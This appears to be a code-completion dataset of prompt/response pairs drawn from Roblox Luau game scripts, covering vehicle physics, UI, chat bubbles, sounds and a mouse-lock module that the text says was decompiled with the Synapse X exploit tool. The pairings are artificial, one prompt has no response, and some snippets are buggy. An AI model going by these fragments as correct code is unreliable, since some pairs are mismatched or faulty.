			v.wheel.CustomPhysicalProperties = PhysicalProperties.new(v.x,z,v.elast,v.fWeight,v.eWeight)
			v.Heat = math.min(v.Heat,v.BaseHeat)
		end

		--Update UI
		local vstress = math.abs(((((wdif+cspeed)/0.774)*0.774)-cspeed)/15)
		if vstress > 0.05 and vstress > v.stress then
			v.stress = math.min(v.stress + 0.03,1)
		else
			v.stress = math.max(v.stress - 0.03,vstress)
		end
		script.Parent:WaitForChild("Tires")
		local UI = script.Parent.Tires[v.wheel.Name]
		UI.First.Second.Image.ImageColor3 = Color3.new(math.min((v.stress*2),1), 1-v.stress, 0)
		UI.First.Position = UDim2.new(0,0,1-v.Heat/v.BaseHeat,0)
		UI.First.Second.Position = UDim2.new(0,0,v.Heat/v.BaseHeat,0)
	end
end


Prompt: ------//Sprinting Animations

Response:
self.RightSprint 	= CFrame.new(-1, 0.5, -1.25) * CFrame.Angles(math.rad(-60), math.rad(0), math.rad(0));
self.LeftSprint 	= CFrame.new(1.25,1.15,-1.35) * CFrame.Angles(math.rad(-60),math.rad(35),math.rad(-25));

return self


Prompt: --------RIGHT DOOR --------

Response:
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)


Prompt: -- Get references to the DockShelf and its children

Response:
local dockShelf = script.Parent.Parent.Parent.Parent.Parent.DockShelf
local aFinderButton = dockShelf.GClippsly
local opened = aFinderButton.Opened
local Minimalise = script.Parent
local window = script.Parent.Parent.Parent


Prompt: --[[Super Util]]

Response:
--
function WaitForChild(parent,child)
	while not parent:FindFirstChild(child) do  wait(1/30) end
	return parent[child]
end

function MakeValue(class,name,value,parent)
	local temp = Instance.new(class)
	temp.Name = name
	temp.Value = value
	temp.Parent = parent
	return temp
end

function TweenProperty(obj, propName, inita, enda, length)
	local startTime = tick()
	while startTime - tick()<length do
		obj[propName] = (startTime - tick())/length
		wait(1/30)
	end
	obj[propName] = enda
end


Prompt: --!nocheck

Response:
local Players = game.Players
local RunService = game["Run Service"]
local FootstepsSoundGroup = game.SoundService:WaitForChild("Footsteps")

local SOUND_DATA = {
	Climbing = {
		SoundId = "rbxasset://sounds/action_footsteps_plastic.mp3",
		Looped = true,
	},
	Died = {
		SoundId = "rbxasset://sounds/uuhhh.mp3",
	},
	FreeFalling = {
		SoundId = "rbxasset://sounds/action_falling.mp3",
		Looped = true,
	},
	GettingUp = {
		SoundId = "rbxasset://sounds/action_get_up.mp3",
	},
	Jumping = {
		SoundId = "rbxasset://sounds/action_jump.mp3",
	},
	Landing = {
		SoundId = "rbxasset://sounds/action_jump_land.mp3",
	},
	Running = {
		SoundId = '' ,
		Looped = true,
		Playing = true,
		Pitch = 1,
	},
	Splash = {
		SoundId = "rbxasset://sounds/impact_water.mp3",
	},
	Swimming = {
		SoundId = "rbxasset://sounds/action_swim.mp3",
		Looped = true,
		Pitch = 1.6,
	},
}

 -- wait for the first of the passed signals to fire
local function waitForFirst(...: any): ...any
	local shunt = Instance.new("BindableEvent")
	local slots = {...}

	local function fire(...)
		for i = 1, #slots do
			slots[i]:Disconnect()
		end

		task.defer(function()
			shunt:Destroy()
		end)

		return shunt:Fire(...)
	end

	for i = 1, #slots do
		slots[i] = slots[i]:Connect(fire)
	end

	return shunt.Event:Wait()
end


Prompt: -- Public Constructors

Response:
function SliderClass.new(sliderFrame, axis)
	local self = setmetatable({}, SliderClass)

	self._Maid = Lazy.Utilities.Maid.new()
	self._Spring = Lazy.Utilities.Spring.new(1, 0.1, 1, 0)
	self._Axis = axis or "x"
	self._ChangedBind = Instance.new("BindableEvent")
	self._ClickedBind = Instance.new("BindableEvent")

	self.Interval = 0
	self.IsActive = true
	self.TweenClick = true
	self.Inverted = false

	self.Frame = sliderFrame
	self.Changed = self._ChangedBind.Event
	self.Clicked = self._ClickedBind.Event
	self.DragStart = nil
	self.DragStop = nil

	init(self)
	self:Set(0.5)

	return self
end


Prompt: --this script is gonna make hes parent visible only for mobile users

Response: script.Parent.Visible = false -- makes hes parent invisible for pc players


Prompt:
--K9Model = script.Parent
----script.Parent.Parent = game.Workspace
--K9Model:MoveTo(game.Workspace.SinikalLaw.Torso.Position)
--Path = script:WaitForChild("Pathfinder"):Clone()
--Path.Parent = game.ServerScriptService


Prompt:
--[[
	Start the game loop
]]

Response: gameStageHandler:start()


Prompt: --[[ Sc 2 ]]

Response:
--

while true do
	wait(0.1)
	local Ran1 = math.random(1,10)
	if Ran1 == 1 then
		Light.Color = Color3.fromRGB(255,0,0)
		wait(math.random(1,100)/100)
		Light.Color = Color3.fromRGB(0,255,0)
	end
end


Prompt: --// Event Connections

Response:
placeEvent.OnServerEvent:connect(function(plr,newPos,what)

 local char =	plr.Character

	if not newRope then
			new = Instance.new('Part')
			new.Parent = workspace
			new.Anchored = true
			new.CanCollide = false
			new.Size = Vector3.new(0.2,0.2,0.2)
			new.BrickColor = BrickColor.new('Black')
			new.Material = Enum.Material.Metal
			new.Position = newPos + Vector3.new(0,new.Size.Y/2,0)

			local newW = Instance.new('WeldConstraint')
			newW.Parent = new
			newW.Part0 = new
			newW.Part1 = what
			new.Anchored = false

			newAtt0 = Instance.new('Attachment')
			newAtt0.Parent = char.Torso
			newAtt0.Position = Vector3.new(0,-.75,0)
			newAtt1 = Instance.new('Attachment')
			newAtt1.Parent = new

			newRope = Instance.new('RopeConstraint')
			newRope.Attachment0 = newAtt0
			newRope.Attachment1 = newAtt1
			newRope.Parent = char.Torso
			newRope.Length = 20
			newRope.Restitution = 0.3
			newRope.Visible = true
			newRope.Thickness = 0.1
			newRope.Color = BrickColor.new("Black")

		placeEvent:FireClient(plr,new)
	end
end)

ropeEvent.OnServerEvent:connect(function(plr,dir,held)
	if newRope then
		newDir = dir
		isHeld = held
	end
end)

cutEvent.OnServerEvent:connect(function(plr)
	if newRope then
		newRope:Destroy()
		newRope = nil
		new:Destroy()
		newAtt0:Destroy()
		newAtt1:Destroy()
	end
end)


Prompt: -- functions

Response:
local function TrackPlayer(player, color)
	local character	= player.Character
	local humanoid	= character:WaitForChild("Humanoid")
	local armor		= humanoid:WaitForChild("Armor")
	local down		= humanoid:WaitForChild("Down")

	local frame		= script.SquadFrame:Clone()
		frame.NameLabel.Text		= player.Name
		frame.NameLabel.TextColor3	= color
		frame.Parent				= SQUAD_GUI

	local function Update()
		frame.Bars.Health.Size	= UDim2.new(humanoid.Health / humanoid.MaxHealth, 0, 0.6, -1)
		frame.Bars.Armor.Size	= UDim2.new(armor.Value / 150, 0, 0.4, -1)

		frame.Bars.Health.BackgroundColor3	= down.Value and DOWN_COLOR or HEALTH_COLOR
		frame.DownLabel.Visible	= down.Value
	end

	humanoid.HealthChanged:connect(Update)
	armor.Changed:connect(Update)
	down.Changed:connect(function()
		if down.Value then
			script.DownSound:Play()
		end

		Update()
	end)

	Update()
end

script.TrackPlayer.Event:connect(TrackPlayer)


Prompt: --[Script]--

Response:
StunsValue.Changed:Connect(function()
	if StunsValue.Value >= 30 then  -- change this to the amount of stuns it takes to trigger BloodHour
		workspace.BHStart:Play();
		script.Parent.BHAnimation.Disabled = false;
		StunsValue.Value = 0;
		BHValue.Value = true;
		script.Parent.Head.Eye1.Color = Color3.fromRGB(255, 0, 0);
		script.Parent.Head.Eye2.Color = Color3.fromRGB(255, 0, 0);
		script.Parent.Configuration.WalkSpeed.Value = 0
		script.Parent.Configuration.RunSpeed.Value = 0
		script.Parent.Configuration.Damage.Value = 10000
		script.Disabled = true
		wait(34)
		BHText.Value = 2
		workspace.BHChase:Play()
		wait(2)
		script.Parent.Head.Screaming:Play()
		script.Parent.Configuration.WalkSpeed.Value = 22
		script.Parent.Configuration.RunSpeed.Value = 55
		script.Parent.Configuration.Damage.Value = 90
		wait(50) --End BloodHour change to what you want
		workspace.BHChase:Stop()
        game.Lighting.BHColor.Enabled = false
        game.Lighting.Ambient = Color3.fromRGB(255, 255, 255)
        game.Lighting.FogColor = Color3.fromRGB(255, 255, 255)
		script.Parent.BHAnimation.Disabled = true;
		BHValue.Value = false;
		BHEndValue.Value = false;
		BHText.Value = 0
		Stunning.Value = false
		StunsValue.Value = 0
        game.Workspace.BHChase:Stop()
		script.Parent.Head.Screaming:Stop()
		script.Parent.Configuration.WalkSpeed.Value = 12;
		script.Parent.Configuration.RunSpeed.Value = 25;
		script.Parent.Configuration.Damage.Value = 30;
		script.Parent.Head.Eye1.Color = Color3.fromRGB(255, 255, 255); -- eye color --
		script.Parent.Head.Eye2.Color = Color3.fromRGB(255, 255, 255); -- eye color --
		script.Disabled = false;
	end
end)


Prompt:
-- 	if (not axis or axis == "x") then
-- 		slider = SliderClass.new(SLIDER_FRAMEX:Clone(), axis)
-- 	else
-- 		slider = SliderClass.new(SLIDER_FRAMEY:Clone(), axis)
-- 		slider.Inverted = true
-- 	end


Prompt: --[[Handlebars]]

Response:
--
	Tune.SteerAngle		= 20		-- Handlebar angle at max lock (in degrees)
	Tune.MSteerExp		= 1 		-- Mouse steering exponential degree
	Tune.LowSpeedCut	= 60 		-- Low speed steering cutoff, tune according to your full lock, a bike with a great handlebar lock angle will need a lower value (E.G. If your full lock is 20 your cutoff will be 40/50, or if your full lock is 40 your cutoff will be 20/30)

	Tune.SteerD			= 50 		-- Dampening of the Low speed steering
	Tune.SteerMaxTorque	= 4000 		-- Force of the the Low speed steering
	Tune.SteerP			= 500 		-- Aggressiveness of the the Low speed steering


Prompt: --Right.InputChanged:Connect(RightTurn)

Response:
local function TouchThrottle(input, GPE)
	if input.UserInputState == Enum.UserInputState.Begin and _IsOn then
		_InThrot = 1
	else
		_InThrot = _Tune.IdleThrottle/100
	end
end
Gas.InputBegan:Connect(TouchThrottle)
Gas.InputEnded:Connect(TouchThrottle)


Prompt:
--[[
	Create a copy of a list where each value is transformed by `callback`
]]

Response:
function Functional.Map(list, callback)
	local new = {}

	for key = 1, #list do
		new[key] = callback(list[key], key)
	end

	return new
end


Prompt: -- init chat bubble tables

Response:
local function initChatBubbleType(chatBubbleType, fileName, imposterFileName, isInset, sliceRect)
	this.ChatBubble[chatBubbleType] = createChatBubbleMain(fileName, sliceRect)
	this.ChatBubbleWithTail[chatBubbleType] = createChatBubbleWithTail(fileName, UDim2.new(0.5, -CHAT_BUBBLE_TAIL_HEIGHT, 1, isInset and -1 or 0), UDim2.new(0, 30, 0, CHAT_BUBBLE_TAIL_HEIGHT), sliceRect)
	this.ScalingChatBubbleWithTail[chatBubbleType] = createScaledChatBubbleWithTail(fileName, 0.5, UDim2.new(-0.5, 0, 0, isInset and -1 or 0), sliceRect)
end

initChatBubbleType(BubbleColor.WHITE,	"ui/dialog_white",	"ui/chatBubble_white_notify_bkg", 	false,	Rect.new(5,5,15,15))
initChatBubbleType(BubbleColor.BLUE,	"ui/dialog_blue",	"ui/chatBubble_blue_notify_bkg",	true, 	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.RED,		"ui/dialog_red",	"ui/chatBubble_red_notify_bkg",		true,	Rect.new(7,7,33,33))
initChatBubbleType(BubbleColor.GREEN,	"ui/dialog_green",	"ui/chatBubble_green_notify_bkg",	true,	Rect.new(7,7,33,33))

function this:SanitizeChatLine(msg)
	if string.len(msg) > MaxChatMessageLengthExclusive then
		return string.sub(msg, 1, MaxChatMessageLengthExclusive + string.len(ELIPSES))
	else
		return msg
	end
end

local function createBillboardInstance(adornee)
	local billboardGui = Instance.new("BillboardGui")
	billboardGui.Adornee = adornee
	billboardGui.Size = UDim2.new(0,BILLBOARD_MAX_WIDTH,0,BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, 1.5, 2)
	billboardGui.Parent = BubbleChatScreenGui

	local billboardFrame = Instance.new("Frame")
	billboardFrame.Name = "BillboardFrame"
	billboardFrame.Size = UDim2.new(1,0,1,0)
	billboardFrame.Position = UDim2.new(0,0,-0.5,0)
	billboardFrame.BackgroundTransparency = 1
	billboardFrame.Parent = billboardGui

	local billboardChildRemovedCon = nil
	billboardChildRemovedCon = billboardFrame.ChildRemoved:connect(function()
		if #billboardFrame:GetChildren() <= 1 then
			billboardChildRemovedCon:disconnect()
			billboardGui:Destroy()
		end
	end)

	this:CreateSmallTalkBubble(BubbleColor.WHITE).Parent = billboardFrame

	return billboardGui
end

function this:CreateBillboardGuiHelper(instance, onlyCharacter)
	if instance and not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		if not onlyCharacter then
			if instance:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(instance)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
				return
			end
		end

		if instance:IsA("Model") then
			local head = instance:FindFirstChild("Head")
			if head and head:IsA("BasePart") then
				-- Create a new billboardGui object attached to this player
				local billboardGui = createBillboardInstance(head)
				this.CharacterSortedMsg:Get(instance)["BillboardGui"] = billboardGui
			end
		end
	end
end

local function distanceToBubbleOrigin(origin)
	if not origin then return 100000 end

	return (origin.Position - game.Workspace.CurrentCamera.CoordinateFrame.p).magnitude
end

local function isPartOfLocalPlayer(adornee)
	if adornee and PlayersService.LocalPlayer.Character then
		return adornee:IsDescendantOf(PlayersService.LocalPlayer.Character)
	end
end

function this:SetBillboardLODNear(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(0, BILLBOARD_MAX_WIDTH, 0, BILLBOARD_MAX_HEIGHT)
	billboardGui.StudsOffset = Vector3.new(0, isLocalPlayer and 1.5 or 2.5, isLocalPlayer and 2 or 0)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = true
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = false
end

function this:SetBillboardLODDistant(billboardGui)
	local isLocalPlayer = isPartOfLocalPlayer(billboardGui.Adornee)
	billboardGui.Size = UDim2.new(4,0,3,0)
	billboardGui.StudsOffset = Vector3.new(0, 3, isLocalPlayer and 2 or 0)
	billboardGui.Enabled = true
	local billChildren = billboardGui.BillboardFrame:GetChildren()
	for i = 1, #billChildren do
		billChildren[i].Visible = false
	end
	billboardGui.BillboardFrame.SmallTalkBubble.Visible = true
end

function this:SetBillboardLODVeryFar(billboardGui)
	billboardGui.Enabled = false
end

function this:SetBillboardGuiLOD(billboardGui, origin)
	if not origin then return end

	if origin:IsA("Model") then
		local head = origin:FindFirstChild("Head")
		if not head then origin = origin.PrimaryPart
		else origin = head end
	end

	local bubbleDistance = distanceToBubbleOrigin(origin)

	if bubbleDistance < NEAR_BUBBLE_DISTANCE then
		this:SetBillboardLODNear(billboardGui)
	elseif bubbleDistance >= NEAR_BUBBLE_DISTANCE and bubbleDistance < MAX_BUBBLE_DISTANCE then
		this:SetBillboardLODDistant(billboardGui)
	else
		this:SetBillboardLODVeryFar(billboardGui)
	end
end

function this:CameraCFrameChanged()
	for index, value in pairs(this.CharacterSortedMsg:GetData()) do
		local playerBillboardGui = value["BillboardGui"]
		if playerBillboardGui then this:SetBillboardGuiLOD(playerBillboardGui, index) end
	end
end

function this:CreateBubbleText(message)
	local bubbleText = Instance.new("TextLabel")
	bubbleText.Name = "BubbleText"
	bubbleText.BackgroundTransparency = 1
	bubbleText.Position = UDim2.new(0,CHAT_BUBBLE_WIDTH_PADDING/2,0,0)
	bubbleText.Size = UDim2.new(1,-CHAT_BUBBLE_WIDTH_PADDING,1,0)
	bubbleText.Font = CHAT_BUBBLE_FONT
	bubbleText.TextWrapped = true
	bubbleText.FontSize = CHAT_BUBBLE_FONT_SIZE
	bubbleText.Text = message
	bubbleText.Visible = false
	bubbleText.TextColor3 = CHAT_TEXT_COLOR
	return bubbleText
end

function this:CreateSmallTalkBubble(chatBubbleType)
	local smallTalkBubble = this.ScalingChatBubbleWithTail[chatBubbleType]:Clone()
	smallTalkBubble.Name = "SmallTalkBubble"
	smallTalkBubble.Position = UDim2.new(0,0,1,-40)
	smallTalkBubble.Visible = false
	local text = this:CreateBubbleText("...")
	text.TextScaled = true
	text.TextWrapped = false
	text.Visible = true
	text.Parent = smallTalkBubble

	return smallTalkBubble
end

function this:UpdateChatLinesForOrigin(origin, currentBubbleYPos)
	local bubbleQueue = this.CharacterSortedMsg:Get(origin).Fifo
	local bubbleQueueSize = bubbleQueue:Size()
	local bubbleQueueData = bubbleQueue:GetData()
	if #bubbleQueueData <= 1 then return end

	for index = (#bubbleQueueData - 1), 1, -1 do
		local value = bubbleQueueData[index]
		local bubble = value.RenderBubble
		if not bubble then return end
		local bubblePos = bubbleQueueSize - index + 1

		if bubblePos > 1 then
			local tail = bubble:FindFirstChild("ChatBubbleTail")
			if tail then tail:Destroy() end
			local bubbleText = bubble:FindFirstChild("BubbleText")
			if bubbleText then bubbleText.TextTransparency = 0.5 end
		end

		local udimValue = UDim2.new( bubble.Position.X.Scale, bubble.Position.X.Offset,
									1, currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT )
		bubble:TweenPosition(udimValue, Enum.EasingDirection.Out, Enum.EasingStyle.Bounce, 0.1, true)
		currentBubbleYPos = currentBubbleYPos - bubble.Size.Y.Offset - CHAT_BUBBLE_TAIL_HEIGHT
	end
end

function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
	if not bubbleQueue then return end
	if bubbleQueue:Empty() then return end

	local bubble = bubbleQueue:Front().RenderBubble
	if not bubble then
		bubbleQueue:PopFront()
	 	return
	end

	spawn(function()
		while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
			wait()
		end

		bubble = bubbleQueue:Front().RenderBubble

		local timeBetween = 0
		local bubbleText = bubble:FindFirstChild("BubbleText")
		local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")

		while bubble and bubble.ImageTransparency < 1 do
			timeBetween = wait()
			if bubble then
				local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
				bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
				if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
				if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
			end
		end

		if bubble then
			bubble:Destroy()
			bubbleQueue:PopFront()
		end
	end)
end

function this:CreateChatLineRender(instance, line, onlyCharacter, fifo)
	if not instance then return end

	if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
		this:CreateBillboardGuiHelper(instance, onlyCharacter)
	end

	local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
	if billboardGui then
		local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
		chatBubbleRender.Visible = false
		local bubbleText = this:CreateBubbleText(line.Message)

		bubbleText.Parent = chatBubbleRender
		chatBubbleRender.Parent = billboardGui.BillboardFrame

		line.RenderBubble = chatBubbleRender

		local currentTextBounds = getStringTextBounds(bubbleText.Text, CHAT_BUBBLE_FONT,
																									CHAT_BUBBLE_FONT_SIZE_INT,
																									Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
		local bubbleWidthScale = math.max((currentTextBounds.x + CHAT_BUBBLE_WIDTH_PADDING)/BILLBOARD_MAX_WIDTH, 0.1)
		local numOflines = (currentTextBounds.y/CHAT_BUBBLE_FONT_SIZE_INT)

		-- prep chat bubble for tween
		chatBubbleRender.Size = UDim2.new(0,0,0,0)
		chatBubbleRender.Position = UDim2.new(0.5,0,1,0)

		local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT

		chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
											 	UDim2.new( (1-bubbleWidthScale)/2, 0, 1, -newChatBubbleOffsetSizeY),
											 	Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
											 	function() bubbleText.Visible = true end)

		-- todo: remove when over max bubbles
		this:SetBillboardGuiLOD(billboardGui, line.Origin)
		this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)

		delay(line.BubbleDieDelay, function()
			this:DestroyBubble(fifo, chatBubbleRender)
		end)
	end
end

function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
	if not this:BubbleChatEnabled() then return end

	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer

	local safeMessage = this:SanitizeChatLine(message)

	local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)

	if sourcePlayer and line.Origin then
		local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
		fifo:PushBack(line)
		--Game chat (badges) won't show up here
		this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo)
	end
end

function this:OnGameChatMessage(origin, message, color)
	local localPlayer = PlayersService.LocalPlayer
	local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)

	local bubbleColor = BubbleColor.WHITE

	if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
	elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
	elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end

	local safeMessage = this:SanitizeChatLine(message)
	local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)

	this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
	this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo)
end

function this:BubbleChatEnabled()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
		if chatSettings.BubbleChatEnabled ~= nil then
			return chatSettings.BubbleChatEnabled
		end
	end
	return PlayersService.BubbleChat
end

function this:ShowOwnFilteredMessage()
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
		return chatSettings.ShowUserOwnFilteredMessage
	end
	return false
end

function this:CameraChanged(prop)
	if prop == "CoordinateFrame" then
		this:CameraCFrameChanged()
	end
end

function findPlayer(playerName)
	for i,v in pairs(PlayersService:GetPlayers()) do
		if v.Name == playerName then
			return v
		end
	end
end

ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)

local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
	cameraChangedCon = game.Workspace.CurrentCamera.Changed:connect(function(prop) this:CameraChanged(prop) end)
end

game.Workspace.Changed:connect(function(prop)
	if prop == "CurrentCamera" then
		if cameraChangedCon then cameraChangedCon:disconnect() end
		if game.Workspace.CurrentCamera then
			cameraChangedCon = game.Workspace.CurrentCamera.Changed:connect(function(prop) this:CameraChanged(prop) end)
		end
	end
end)

local AllowedMessageTypes = nil

function getAllowedMessageTypes()
	if AllowedMessageTypes then
		return AllowedMessageTypes
	end
	local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
	if clientChatModules then
		local chatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
		if chatSettings.BubbleChatMessageTypes then
			AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
			return AllowedMessageTypes
		end
		local chatConstants = require(clientChatModules:WaitForChild("ChatConstants"))
		AllowedMessageTypes = {ChatConstants.MessageTypeDefault, ChatConstants.MessageTypeWhisper}
		return AllowedMessageTypes
	end
	return {"Message", "Whisper"}
end

function checkAllowedMessageType(messageData)
	local allowedMessageTypes = getAllowedMessageTypes()
	for i = 1, #allowedMessageTypes do
		if allowedMessageTypes[i] == messageData.MessageType then
			return true
		end
	end
	return false
end

local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")

OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
		if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
			return
		end
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)

OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
	if not checkAllowedMessageType(messageData) then
		return
	end

	local sender = findPlayer(messageData.FromSpeaker)
	if not sender then
		return
	end

	if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
		return
	end

	this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = {};
v1.__index = v1;
local l__GameSettings__1 = UserSettings().GameSettings;
local l__Players__2 = game:GetService("Players");
function v1.new()
	local v2 = setmetatable({}, v1);
	v2.isMouseLocked = false;
	v2.savedMouseCursor = nil;
	v2.boundKeys = { Enum.KeyCode.LeftShift, Enum.KeyCode.RightShift };
	v2.mouseLockToggledEvent = Instance.new("BindableEvent");
	local v3 = script:FindFirstChild("BoundKeys");
	if not v3 or not v3:IsA("StringValue") then
		if v3 then
			v3:Destroy();
		end;
		v3 = Instance.new("StringValue");
		assert(v3, "");
		v3.Name = "BoundKeys";
		v3.Value = "LeftShift,RightShift";
		v3.Parent = script;
	end;
	if v3 then
		v3.Changed:Connect(function(p1)
			v2:OnBoundKeysObjectChanged(p1);
		end);
		v2:OnBoundKeysObjectChanged(v3.Value);
	end;
	l__GameSettings__1.Changed:Connect(function(p2)
		if p2 == "ControlMode" or p2 == "ComputerMovementMode" then
			v2:UpdateMouseLockAvailability();
		end;
	end);
	l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
		v2:UpdateMouseLockAvailability();
	end);
	l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
		v2:UpdateMouseLockAvailability();
	end);
	v2:UpdateMouseLockAvailability();
	return v2;
end;
function v1.GetIsMouseLocked(p3)
	return p3.isMouseLocked;
end;
function v1.GetBindableToggleEvent(p4)
	return p4.mouseLockToggledEvent.Event;
end;
function v1.GetMouseLockOffset(p5)
	local l__CameraOffset__4 = script:FindFirstChild("CameraOffset");
	if l__CameraOffset__4 and l__CameraOffset__4:IsA("Vector3Value") then
		return l__CameraOffset__4.Value;
	end;
	if l__CameraOffset__4 then
		l__CameraOffset__4:Destroy();
	end;
	local v5 = Instance.new("Vector3Value");
	assert(v5, "");
	v5.Name = "CameraOffset";
	v5.Value = Vector3.new(1.75, 0, 0);
	v5.Parent = script;
	if v5 and v5.Value then
		return v5.Value;
	end;
	return Vector3.new(1.75, 0, 0);
end;
function v1.UpdateMouseLockAvailability(p6)
	local v6 = l__Players__2.LocalPlayer.DevEnableMouseLock and (l__GameSettings__1.ControlMode == Enum.ControlMode.MouseLockSwitch and (l__GameSettings__1.ComputerMovementMode ~= Enum.ComputerMovementMode.ClickToMove and l__Players__2.LocalPlayer.DevComputerMovementMode ~= Enum.DevComputerMovementMode.Scriptable));
	if v6 ~= p6.enabled then
		p6:EnableMouseLock(v6);
	end;
end;
function v1.OnBoundKeysObjectChanged(p7, p8)
	p7.boundKeys = {};
	local v7, v8, v9 = string.gmatch(p8, "[^%s,]+");
	while true do
		local v10 = v7(v8, v9);
		if not v10 then
			break;
		end;
		for v11, v12 in pairs(Enum.KeyCode:GetEnumItems()) do
			if v10 == v12.Name then
				p7.boundKeys[#p7.boundKeys + 1] = v12;
				break;
			end;
		end;
	end;
	p7:UnbindContextActions();
	p7:BindContextActions();
end;
local u3 = require(script.Parent:WaitForChild("CameraUtils"));
function v1.OnMouseLockToggled(p9)
	p9.isMouseLocked = not p9.isMouseLocked;
	if p9.isMouseLocked then
		local l__CursorImage__13 = script:FindFirstChild("CursorImage");
		if l__CursorImage__13 and l__CursorImage__13:IsA("StringValue") and l__CursorImage__13.Value then
			u3.setMouseIconOverride(l__CursorImage__13.Value);
		else
			if l__CursorImage__13 then
				l__CursorImage__13:Destroy();
			end;
			local v14 = Instance.new("StringValue");
			assert(v14, "");
			v14.Name = "CursorImage";
			v14.Value = "rbxasset://textures/MouseLockedCursor.png";
			v14.Parent = script;
			u3.setMouseIconOverride("rbxasset://textures/MouseLockedCursor.png");
		end;
	else
		u3.restoreMouseIcon();
	end;
	p9.mouseLockToggledEvent:Fire();
end;
function v1.DoMouseLockSwitch(p10, p11, p12, p13)
	if p12 ~= Enum.UserInputState.Begin then
		return Enum.ContextActionResult.Pass;
	end;
	p10:OnMouseLockToggled();
	return Enum.ContextActionResult.Sink;
end;
local l__ContextActionService__4 = game:GetService("ContextActionService");
local l__Value__5 = Enum.ContextActionPriority.Default.Value;
function v1.BindContextActions(p14)
	l__ContextActionService__4:BindActionAtPriority("MouseLockSwitchAction", function(p15, p16, p17)
		return p14:DoMouseLockSwitch(p15, p16, p17);
	end, false, l__Value__5, unpack(p14.boundKeys));
end;
function v1.UnbindContextActions(p18)
	l__ContextActionService__4:UnbindAction("MouseLockSwitchAction");
end;
function v1.IsMouseLocked(p19)
	return p19.enabled and p19.isMouseLocked;
end;
function v1.EnableMouseLock(p20, p21)
	if p21 ~= p20.enabled then
